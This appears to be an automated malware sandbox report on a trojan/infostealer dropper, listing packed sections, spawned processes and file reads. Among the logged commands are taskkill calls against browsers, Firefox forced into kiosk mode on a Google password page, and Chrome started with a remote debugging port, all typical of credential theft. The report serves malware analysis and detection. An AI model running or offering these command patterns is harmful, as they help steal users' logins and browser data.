Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_013FDB79	11_3_013FDB79
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_013FDB79	11_3_013FDB79
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_013FDB79	11_3_013FDB79
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_013FDB79	11_3_013FDB79
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Code function: 11_3_05B01050	11_3_05B01050

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983395776566758
Source: file.exe	Static PE information: Section: mtubkuce ZLIB complexity 0.9943987498135441
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983395776566758
Source: skotes.exe.0.dr	Static PE information: Section: mtubkuce ZLIB complexity 0.9943987498135441
Source: random[1].exe.6.dr	Static PE information: Section: pablyzls ZLIB complexity 0.9944013021577593
Source: 2a8b7e5b78.exe.6.dr	Static PE information: Section: pablyzls ZLIB complexity 0.9944013021577593
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9992827868852459
Source: random[1].exe0.6.dr	Static PE information: Section: tbzxaang ZLIB complexity 0.9946771588848595
Source: 2235d4f703.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9992827868852459
Source: 2235d4f703.exe.6.dr	Static PE information: Section: tbzxaang ZLIB complexity 0.9946771588848595
Source: random[1].exe1.6.dr	Static PE information: Section: ldvhpekm ZLIB complexity 0.9950462282236451
Source: 86526d7b20.exe.6.dr	Static PE information: Section: ldvhpekm ZLIB complexity 0.9950462282236451

Source: random[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 2a8b7e5b78.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@132/18@107/17

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2516:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4488:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 2235d4f703.exe, 00000009.00000003.2603346909.0000000005888000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2604182367.0000000005855000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2735373918.0000000005AF5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 86526d7b20.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 2235d4f703.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696333830); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856); user_pref("app.update.lastUpdateTime.xpi-signatur

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe "C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe "C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {860ecd33-e110-4052-ae68-4e078883f33a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 234fd670d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3252 -parentBuildID 20230927232528 -prefsHandle 3424 -prefMapHandle 4020 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {50c83aef-67bf-4254-8691-55a698a37a6b} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 2348fa9a310 rdd
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe "C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2436,i,8770856731178862040,3094494008038900450,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe "C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe"
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1984,i,8577691366813222456,478156052820439559,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2452,i,10496958904193057390,10329293642163972138,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2012,i,14918439842847781835,4316525183382803892,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1964,i,2156908519176632186,6185840840257253882,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe "C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe "C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe "C:\Users\user\AppData\Local\Temp\1008328001\86526d7b20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe "C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe "C:\Users\user\AppData\Local\Temp\1008330001\d0d78d3fdb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008326001\2a8b7e5b78.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2235d4f703.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008329001\9afe8d29fa.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {860ecd33-e110-4052-ae68-4e078883f33a} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 234fd670d10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3252 -parentBuildID 20230927232528 -prefsHandle 3424 -prefMapHandle 4020 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {50c83aef-67bf-4254-8691-55a698a37a6b} 7072 "\\.\pipe\gecko-crash-server-pipe.7072" 2348fa9a310 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
